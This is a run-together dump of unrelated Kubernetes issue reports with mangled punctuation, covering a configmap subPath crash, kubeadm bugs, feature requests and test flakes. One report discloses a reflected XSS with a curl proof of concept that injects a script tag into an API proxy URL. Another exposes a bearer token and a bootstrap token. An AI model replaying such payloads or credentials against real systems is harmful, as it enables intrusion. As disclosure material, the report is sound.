lmassa@lmassa-dev:~/k8s/tests$ kubectl exec -it memory-test-ff796865f-ggnft /bin/cat /etc/mount/file.txt\r oci runtime exec failed: exec failed: container_linux.go:348: starting container process caused \ read init-p: connection reset by peer\ : unknown\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl get pods | grep memory\r memory-test-ff796865f-ggnft            0/1     oomkilled   0          63s\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl get pods -o yaml memory-test-ff796865f-ggnft \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/psp: permissive\r   creationtimestamp: 2019-01-08t23:11:16z\r   generatename: memory-test-ff796865f-\r   labels:\r     app: memory-test\r     pod-template-hash: ff796865f\r   name: memory-test-ff796865f-ggnft\r   namespace: sandbox\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: memory-test-ff796865f\r     uid: b366b9aa-139a-11e9-ba62-90b11c578803\r   resourceversion: \ 1277259954\ \r   selflink: /api/v1/namespaces/sandbox/pods/memory-test-ff796865f-ggnft\r   uid: b368b54b-139a-11e9-ba62-90b11c578803\r spec:\r   containers:\r   - args:\r     - import time; time.sleep 30 ; s = \  \     1024   1024   1024 \r     command:\r     - /usr/local/bin/python\r     - -c\r     image: python:3.7\r     imagepullpolicy: ifnotpresent\r     name: memory-test\r     resources:\r       limits:\r         cpu: 100m\r         memory: 10mi\r       requests:\r         cpu: 100m\r         memory: 10mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/mount/file.txt\r       name: memory-test-mount\r       readonly: true\r       subpath: file.txt\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-vdbt4\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: 4vpmyv1\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - configmap:\r       defaultmode: 420\r       items:\r       - key: file.txt\r         path: file.txt\r       name: memory-test-mount\r     name: memory-test-mount\r   - name: default-token-vdbt4\r     secret:\r       defaultmode: 420\r       secretname: default-token-vdbt4\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:11:16z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:12:24z\r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:12:24z\r     status: \ true\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:11:16z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://b6daed953329f304b7ef1c7669b0fd9ca25ef94e9f8433b6481c37cd1ee4e63d\r     image: python:3.7\r     imageid: docker-pullable://python@sha256:d842dbe033c7e35feb80261db100541b17ea970ece09bbbf07b2844b7dcc114e\r     laststate:\r       terminated:\r         containerid: docker://f750b80a49b889e2e7fec9764f711009199e606493f55528331c24253fbe258f\r         exitcode: 137\r         finishedat: 2019-01-08t23:12:10z\r         reason: oomkilled\r         startedat: 2019-01-08t23:11:26z\r     name: memory-test\r     ready: true\r     restartcount: 1\r     state:\r       running:\r         startedat: 2019-01-08t23:12:23z\r   hostip: 10.33.17.215\r   phase: running\r   podip: 10.43.3.115\r   qosclass: guaranteed\r   starttime: 2019-01-08t23:11:16z\r \r   so far so good.\r \r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl patch configmap -n sandbox memory-test-mount -p '{\ data\ :{\ file.txt\ :\ different content\ }}'\r configmap/memory-test-mount patched\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl get pods | grep memory\r memory-test-ff796865f-ggnft            0/1     runcontainererror   3          3m18s\r \r lmassa@lmassa-dev:~/k8s/tests$ kubectl get pods -o yaml memory-test-ff796865f-ggnft \r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/psp: permissive\r   creationtimestamp: 2019-01-08t23:11:16z\r   generatename: memory-test-ff796865f-\r   labels:\r     app: memory-test\r     pod-template-hash: ff796865f\r   name: memory-test-ff796865f-ggnft\r   namespace: sandbox\r   ownerreferences:\r   - apiversion: apps/v1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: memory-test-ff796865f\r     uid: b366b9aa-139a-11e9-ba62-90b11c578803\r   resourceversion: \ 1277263462\ \r   selflink: /api/v1/namespaces/sandbox/pods/memory-test-ff796865f-ggnft\r   uid: b368b54b-139a-11e9-ba62-90b11c578803\r spec:\r   containers:\r   - args:\r     - import time; time.sleep 30 ; s = \  \     1024   1024   1024 \r     command:\r     - /usr/local/bin/python\r     - -c\r     image: python:3.7\r     imagepullpolicy: ifnotpresent\r     name: memory-test\r     resources:\r       limits:\r         cpu: 100m\r         memory: 10mi\r       requests:\r         cpu: 100m\r         memory: 10mi\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /etc/mount/file.txt\r       name: memory-test-mount\r       readonly: true\r       subpath: file.txt\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-vdbt4\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: 4vpmyv1\r   priority: 0\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noschedule\r     key: node.kubernetes.io/memory-pressure\r     operator: exists\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - configmap:\r       defaultmode: 420\r       items:\r       - key: file.txt\r         path: file.txt\r       name: memory-test-mount\r     name: memory-test-mount\r   - name: default-token-vdbt4\r     secret:\r       defaultmode: 420\r       secretname: default-token-vdbt4\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:11:16z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:14:33z\r     message: 'containers with unready status:  memory-test '\r     reason: containersnotready\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:14:33z\r     message: 'containers with unready status:  memory-test '\r     reason: containersnotready\r     status: \ false\ \r     type: containersready\r   - lastprobetime: null\r     lasttransitiontime: 2019-01-08t23:11:16z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://ff61dded9997903abbedbf03afaa1a5197bfc06407a444e1795a23c98d058f4b\r     image: python:3.7\r     imageid: docker-pullable://python@sha256:d842dbe033c7e35feb80261db100541b17ea970ece09bbbf07b2844b7dcc114e\r     laststate:\r       terminated:\r         containerid: docker://ff61dded9997903abbedbf03afaa1a5197bfc06407a444e1795a23c98d058f4b\r         exitcode: 128\r         finishedat: 2019-01-08t23:14:32z\r         message: 'oci runtime create failed: container_linux.go:348: starting container\r           process caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58:\r           mounting \\\\\\\ /var/lib/kubelet/pods/b368b54b-139a-11e9-ba62-90b11c578803/volume-subpaths/memory-test-mount/memory-test/0\\\\\\\ \r           to rootfs \\\\\\\ /var/lib/docker/devicemapper/mnt/e8d10da1714c28ccbf824731e4e14cc24a41d9b262e88107e07e509ac6d71f42/rootfs\\\\\\\ \r           at \\\\\\\ /var/lib/docker/devicemapper/mnt/e8d10da1714c28ccbf824731e4e14cc24a41d9b262e88107e07e509ac6d71f42/rootfs/etc/mount/file.txt\\\\\\\ \r           caused \\\\\\\ no such file or directory\\\\\\\ \\\ \ : unknown'\r         reason: containercannotrun\r         startedat: 2019-01-08t23:14:32z\r     name: memory-test\r     ready: false\r     restartcount: 3\r     state:\r       waiting:\r         message: back-off 40s restarting failed container=memory-test pod=memory-test-ff796865f-ggnft_sandbox b368b54b-139a-11e9-ba62-90b11c578803 \r         reason: crashloopbackoff\r   hostip: 10.33.17.215\r   phase: running\r   podip: 10.43.4.157\r   qosclass: guaranteed\r   starttime: 2019-01-08t23:11:16z\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t06:59:37z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r  root@5hj87y1 ~   dmidecode -s system-product-name\r poweredge r620\r  root@5hj87y1 ~   dmidecode -s system-manufacturer\r dell inc.\r    \r - os  e.g. from /etc/os-release :\r    \r  root@5hj87y1 ~   cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@5hj87y1 ~   uname -a\r linux 5hj87y1 4.14.71-1.2.el7.ta.x86_64  1 smp mon sep 24 13:59:49 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: n/a\r - others:\r    \r  root@5hj87y1 ~   docker info\r containers: 51\r  running: 44\r  paused: 0\r  stopped: 7\r images: 32\r server version: 18.09.0\r storage driver: overlay2\r  backing filesystem: xfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: c4446665cb9c30056f4998ed953e6d4ff22c7c39\r runc version: 4fc53a81fb7c994640722ac585fa9ca548971871\r init version: fec3683\r security options:\r  seccomp\r   profile: default\r kernel version: 4.14.71-1.2.el7.ta.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 32\r total memory: 125.9gib\r name: 5hj87y1\r id: ilky:747i:b7ar:apo2:im6l:zvbs:7pw3:jerb:z2k6:lcyk:j2c6:rwku\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: true\r product license: community engine\r \r  root@5hj87y1 ~   kubelet --version\r kubernetes v1.12.4\r    \r \r 

what happened  :\r \r the name of an arbitrarily supplied url parameter is copied into the html document as plain text between tags. the payload cfk88<script>alert 1 </script>y9rri was submitted in the name of an arbitrarily supplied url parameter. this input was echoed unmodified in the application's response.\r \r this proof-of-concept attack demonstrates that it is possible to inject arbitrary javascript into the response.\r \r the response does not state that the content type is html. the issue is only directly exploitable if a browser can be made to interpret the response as html.\r \r   what you expected to happen  :\r \r the response should not contain any valid html content. avoid to nject arbitrary javascript.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   curl -k -h \ authorization:bearer $id_token\  https://9.21.55.15:8001/api/v1/namespaces/kube-system/services/platform-identity-provider:4300/proxy/?pagesize=3sms0a%3cscript%3ealert%3c%2fscript%3eid6ct -vvv\r     trying 9.21.55.15...\r   connected to 9.21.55.15  9.21.55.15  port 8001   0 \r   found 148 certificates in /etc/ssl/certs/ca-certificates.crt\r   found 592 certificates in /etc/ssl/certs\r   alpn, offering http/1.1\r   ssl connection using tls1.2 / ecdhe_rsa_aes_128_gcm_sha256\r   \t server certificate verification skipped\r   \t server certificate status verification skipped\r   \t common name: kubernetes-master  matched \r   \t server certificate expiration date ok\r   \t server certificate activation date ok\r   \t certificate public key: rsa\r   \t certificate version:  3\r   \t subject: cn=kubernetes-master\r   \t start date: tue, 28 may 2019 08:10:15 gmt\r   \t expire date: thu, 27 may 2021 08:10:15 gmt\r   \t issuer: c=us,st=new york,l=armonk,o=ibm cloud private,cn=www.ibm.com\r   \t compression: null\r   alpn, server accepted to use http/1.1\r > get /api/v1/namespaces/kube-system/services/platform-identity-provider:4300/proxy/?pagesize=3sms0a%3cscript%3ealert%3c%2fscript%3eid6ct http/1.1\r > host: 9.21.55.15:8001\r > user-agent: curl/7.47.0\r > accept:  / \r > authorization:bearer eyjhbgcioijsuzi1niisimtpzci6iij9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwnkogj6iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioijlm2yzzmvios04mtiwltexztktytiwny0wodk0zwywmgfkyzailcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.wb5vm2z7n-mejtttdnu2gkzqqfbjinxktavhnkwzayigr6yi7os77sqaolukepdpdecupsw9khahtn_e4pjp7ytp79cl0todqjwtxfyynowfzh9s9syriamkh8c1ttsqyl23g0kbnvi26x-zaaastbzuvssqpa5efbyhluaxvilsqknvrn6wv7bzyhvg0qlpyyxfbd27qdrf0pfx3k5az7qaf_00c1q9tcvgihj8u-3epz61mb4gmbmpik2rsasw8ldmrarzqhpr-dmmv7pnbqkcn7acekc6dekfoz-tdhbe0ozmjm_n7n4v6sxofo_rcaxabygvddoa45xaj9zuygyunnyl_fdixtdhl5ukmps2l58h-tmgv42q0faddxud3phl4lelsrnttw9npj9cpawxk49k-thswcnl3izratcsqj8ls5d6w-oc_oodkoosv9sdwcyupkfznimak1h4st-gjwt7-toag5opum1yf-9rpx2aycyzszn3s80tp3_h2ttqyje91eontchlepy-wdo9xtzh7b8swrsxetuwt-fzi3qhjox_4740elz3dp7eahnm26gyowmuzihhz_8y7alvmiccjc48exbimr3ewhexe4llhfplfhkcstjslganzmbn5exl148xdbwbp9nr58eqsvb6y_eykeez9tfcvoi\r >\r < http/1.1 503 service unavailable\r < date: wed, 29 may 2019 07:03:09 gmt\r < transfer-encoding: chunked\r <\r error: 'eof'\r   connection  0 to host 9.21.55.15 left intact\r trying to reach: 'http://10.1.250.75:4300/?pagesize=3sms0a%3cscript%3ealert%3c%2fscript%3eid6ct'\r    \r \r just make the backend service unreachable. for example, https backend service is only supported.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.2\r - cloud provider or hardware configuration: none\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

so, pods can have node selectors, which allows pods to be scheduled only on specific nodes. however, i can find no way to do the reverse; namely to say a node can only host pods that have certain labels.  the above would be useful in case one would like to limit which types of pods get scheduled on a node. for instance, there's an aws machine with an instance disk and you'd like it to run an hdfs pod. however, you don't want other pods to be scheduled on the node, because they might steal resources and potentially make the hdfs pod unschedulable.  i know i can achieve this by labeling all my nodes and pods and equipping all pods with node selectors. but that is a lot more work and less elegant.

there was a naive attempt to do this in  23561, but _output it hardcoded throughout the code base so we need a more comprehensive solution.

observed during kubernetes-e2e-gce-enormous-cluster/156 run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-enormous-cluster/156      e1006 02:23:55.091318    6288 reflector.go:311  k8s.io/kubernetes/test/e2e/framework/util.go:274: failed to watch  api.pod: get https://104.196.125.184/api/v1/watch/namespaces/e2e-tests-density-3x91x/pods?labelselector=name%3ddensity60000-0-978f562a-8b9a-11e6-9a6c-0242ac110005&resourceversion=2517657&timeoutseconds=535: write on closed buffer      it happened during the rc deletion phase of the density test on 2k node cluster.  this looks like the cache issue. @lavalamp @wojtek-t @xiang90 @kubernetes/sig-api-machinery

i checked out master and ran hack/update-generate-protobuf-dockerized.sh and changes from https://github.com/kubernetes/kubernetes/pull/33905 were assigned tags.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r \r followed the quick start guide here https://github.com/kubernetes/kubernetes to-start-developing-kubernetes\r \r   what you expected to happen  :\r \r make completed sucessfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r zapf ~  % go get -d k8s.io/kubernetes                                                                                 \r package k8s.io/kubernetes: no go files in /users/dfc/src/k8s.io/kubernetes                                            \r zapf ~  % cd $gopath/src/k8s.io/kubernetes                                                                            \r zapf ~/src/k8s.io/kubernetes  % make                       \r hack/make-rules/../../hack/lib/init.sh: line 39: /users/dfc/src/k8s.io/kubernetes                                     \r /users/dfc/src/k8s.io/kubernetes/hack/lib/util.sh: no such file or directory                                          \r make 1 :      _output/bin/deepcopy-gen  error 1            \r make:      generated_files  error 2      \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration  : n/a\r - os  e.g. from /etc/os-release : macos sierra 10.12 \r

is this a bug report or feature request?  :\r  \r   what happened  :\r a  todo  suggests doing process in parallel in  processloop  function  here  https://github.com/kubernetes/kubernetes/blob/6827c3cf4725e3490dc27aabd5a43a26de3363ef/staging/src/k8s.io/client-go/tools/cache/controller.go l148 . i have some thoughts on how to do this work. since the queue have lock on doing various operations, i haven't seen any race on paralleling here. pr  59559 is open for resolving this.

 \r i would like to have considered a \ cronprobe\  that supports cron-like scheduling, but be able to be run within the context of a container. the use case for this is to be able to run maintenance commands against a running container, without having to rely on an external pod/system to  oc exec  into the container. a livenessprobe can essentially already to this today, as long as the maintenance commands don't fail or timeout.\r \r my proposal would be for the addition of a field to  probe  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.9/ probe-v1-core  that can be used _instead of_  periodseconds , something called  schedule   stolen from the naming of  cronjob  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.9/ cronjobspec-v1beta1-batch  .\r \r an array would also have to be added to  container  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.9/ container-v1-core  called \ cronprobe\ , which can take a list of probes.\r \r also, the failure of a \ cronprobe\  should not be considered something that requires a kill and restart of the pod.\r \r some use cases are potentially be able to take data backups from rwo volumes, sending reports on a schedule, curling a link to let an application perform cron  like drupal , running a maintenance command within a pod, e.g. dbms organization or something like   php artisan run   https://stackoverflow.com/questions/48866257/openshift-3-cronjob-inside-running-container .

>  \r >  \r    problem describe\r kubeadm.cfg\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r cloudprovider: external\r imagerepository: registry.cn-hangzhou.aliyuncs.com/acs\r featuregates:\r   selfhosting: true\r networking:\r   dnsdomain: cluster.local\r   servicesubnet: 172.19.0.0/20\r   podsubnet: 172.16.0.0/16\r apiservercertsans:\r   - 192.168.110.109\r   - 127.0.0.1\r token: cdca7c.3e8035f5959f0da6\r nodename: cn-hongkong.i-j6cal2nyrssnrcz2mju7\r kubernetesversion: v1.9.3\r    \r \r kubeadm init --config kubeadm.cfg\r \r    \r  self-hosted  creating self-hosted control plane.\r  apiclient  found 0 pods for label selector k8s-app=self-hosted-kube-apiserver\r error creating self hosted control plane: timed out waiting for the condition\r    \r \r   error creating self hosted control plane: timed out waiting for the condition   error occured.\r \r    \r kubectl get no -o yaml \r \r   spec:\r     externalid: cn-hongkong.i-j6cal2nyrssnrcz2mju7\r     podcidr: 172.16.0.0/24\r     providerid: cn-hongkong.i-j6cal2nyrssnrcz2mju7\r     taints:\r     - effect: noschedule\r       key: node.cloudprovider.kubernetes.io/uninitialized\r       value: \ true\ \r     - effect: noschedule\r       key: node-role.kubernetes.io/master\r    \r \r    fix \r \r kubelet will taint node with    node.cloudprovider.kubernetes.io/uninitialized    on node initializing. kubeadm should take care of this taint by adding a toleration on control panel pod when bootstrap a cluster.\r \r a pr to fix this will be submitted soon. \r

 \r   what happened  :\r a pod in the pending state, which we expected to go from pending to running was instead deleted by the kubernetes garbage collector. \r \r we believe that the pod went from pending to deleted:\r - gke stackdriver logs were missing any from the pod, usually if the pod was created there would be an entry\r - we can see in our audit logs of our gke cluster that the pod was created, and about under a minute later was deleted by the garbage collector, 'system:serviceaccount:kube-system:pod-garbage-collector' \r \r   what you expected to happen  :\r the pod to be scheduled onto a node and enter the running state.\r \r   how to reproduce it  as minimally and precisely as possible   :\r seems to happen sporadically. will update this issue if we find a way to consistently reproduce.\r \r   anything else we need to know?  :\r our gke cluster has several nodepools with autoscaling enabled, in addition some of these nodepools have gpus. \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2-gke.1\r - cloud provider or hardware configuration: google kubernetes engine\r \r hopefully someone has also seen this or has some idea of how to resolve the issue. thanks in advance!

is this a bug report or feature request?  :\r  \r   what happened  :\r  given a scenario where the master and the node machines are created at the same time, and whenever the master takes too long to be created for any reason... \r \r when attempting to join a kubernetes node to a kubernetes cluster, the node reported that the token is invalid or has expired. but this is not true, a second kubeadm join later on with the same token succeeds.\r \r   what you expected to happen  :\r \r kubeadm join would succeed once the master is up and running\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i found this while using kubicorn to deploy a cluster. but this should be reproducible by:\r \r  pre-requirements: 2 ubuntu 16.04 machines up and running, namely \ master\  and \ node\  \r \r 1. generate a bootstrap token   kubeadm token generate   and paste the generated token into the kubeadm configuration file\r \r example of _kubeadm-config-yaml_:\r \r    apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r token: <token>\r kubernetesversion: 1.11.0\r nodename: master\r api:\r   advertiseaddress: <master ip>\r   bindport: 443\r apiservercertsans:\r - <master ip>\r authorizationmodes:\r - node\r - rbac\r    \r \r 2. perform a kubeadm join on the node, that should fail until master becomes ready  at this stage master is not even attempting to init the cluster \r \r  kubeadm join --node-name \ node\  --token \ <token>\  \ <master ip>\  --discovery-token-unsafe-skip-ca-verification \r \r 3. wait for 5-10 minutes  in my latest test i simulated a 700 sleep before performing init on the master \r \r during this time, we should see that kubeadm join is reattempting until the master is ready\r     discovery  failed to request cluster info, will try again:  get https://10.132.143.109:443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.132.143.109:443: connect: connection refused \r ....\r  discovery  failed to request cluster info, will try again:  get https://10.132.143.109:443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.132.143.109:443: connect: connection refused \r    \r 4. perform the init on the master\r \r  kubeadm init --config kubeadm-config.yaml \r \r 5. once master is ready, an error is shown on the node stating that the token is invalid\r \r     \r  discovery  failed to request cluster info, will try again:  get https://10.132.143.109:443/api/v1/namespaces/kube-public/configmaps/cluster-info: dial tcp 10.132.143.109:443: connect: connection refused \r \r  discovery  failed to request cluster info, will try again:  configmaps \ cluster-info\  is forbidden: user \ system:anonymous\  cannot get configmaps in the namespace \ kube-public\  \r \r  discovery  failed to request cluster info, will try again:  configmaps \ cluster-info\  is forbidden: user \ system:anonymous\  cannot get configmaps in the namespace \ kube-public\  \r \r  discovery  failed to connect to api server \ 10.132.143.109:443\ : token id \ 89df35\  is invalid for this cluster or it has expired. use \ kubeadm token create\  on the master node to creating a new valid token\r \r couldn't validate the identity of the api server: abort connecting to api servers after timeout of 5m0s\r     \r 6. if we re-run the join command on the node, with the same token, it succeeds.\r \r \r   anything else we need to know?  :\r i would say it's not very critical, given that the issue is only present when the master takes too long to init the cluster compared to the time when the node starts attempting the kubeadm join.\r i am reporting it anyway because i guess that given kubeadm reattempts, philosophy is that once the master is ready kubeadm should succeed.\r \r i suffered the issue 2-3 times because my master took too long to boot up  smaller machine, less resources and needs also to download images  in digitalocean, and was able to reproduce it later on by forcing a sleep of the master in the cloud-init bootstrap logic.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r - cloud provider or hardware configuration:\r  digitalocean \r - os  e.g. from /etc/os-release :\r     \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux k8s-gpoc-master-0 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux  \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r the e2e test:\r   sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons \r \r flakes with slightly too much cpu usage, eg:\r    \r test/e2e/framework/framework.go:145\r expected error:\r     < errors.errorstring | 0xc42439e150>: {\r         s: \ container kube-scheduler-e2e-67971-95a39-master/kube-scheduler is using 0.424397825/0.4 cpu\ ,\r     }\r     container kube-scheduler-e2e-67971-95a39-master/kube-scheduler is using 0.424397825/0.4 cpu\r not to have occurred\r test/e2e/framework/framework.go:413\r    \r \r   what you expected to happen  : i expect pr blocking tests to not be flaking.\r \r   how to reproduce it  as minimally and precisely as possible   :  go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-scalability\\ \\sdensity\\s\\ feature\\:performance\\ \\sshould\\sallow\\sstarting\\s30\\spods\\sper\\snode\\susing\\s\\{\\sreplicationcontroller\\}\\swith\\s0\\ssecrets\\,\\s0\\sconfigmaps\\sand\\s0\\sdaemons$' \r \r \r   anything else we need to know?  : examples:\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&text=cpu&test=density%20%5c%5bfeature%3aperformance%5c%5d%20should%20allow%20starting%2030%20pods%20per%20node\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/67971/pull-kubernetes-e2e-gce-100-performance/18830/\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/68096/pull-kubernetes-e2e-gce-100-performance/18664/ sig-scalability-density-featureperformance-should-allow-starting-30-pods-per-node-using-replicationcontroller-with-0-secrets-0-configmaps-and-0-daemons\r \r   environment  :\r - kubernetes version  use  kubectl version  : ci tests against master branch\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r   what happened  :\r when updating the  activedeadlineseconds  value from 3600 to 3601 the following error message was returned:  pod \ cjohnson-shell-1537822011\  is invalid: spec.activedeadlineseconds: invalid value: 3601: must be less than or equal to previous value \r \r   what you expected to happen  :\r i expected the value of activedeadlineseconds to be updated from 3600 to 3601.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod with  activedeadlineseconds  specified:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: shell-with-timeout\r spec:\r   activedeadlineseconds: 60\r   containers:\r   - name: ubuntu\r     image: ubuntu:latest\r     command:   \ tail\ , \ -f\ , \ /dev/null\   \r   restartpolicy: never\r    \r 2. run this pod:  kubectl apply -f pod.yaml \r 3. modify this pod specification to increase the  activedeadlineseconds  value:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: shell-with-timeout\r spec:\r   activedeadlineseconds: 90\r   containers:\r   - name: ubuntu\r     image: ubuntu:latest\r     command:   \ tail\ , \ -f\ , \ /dev/null\   \r   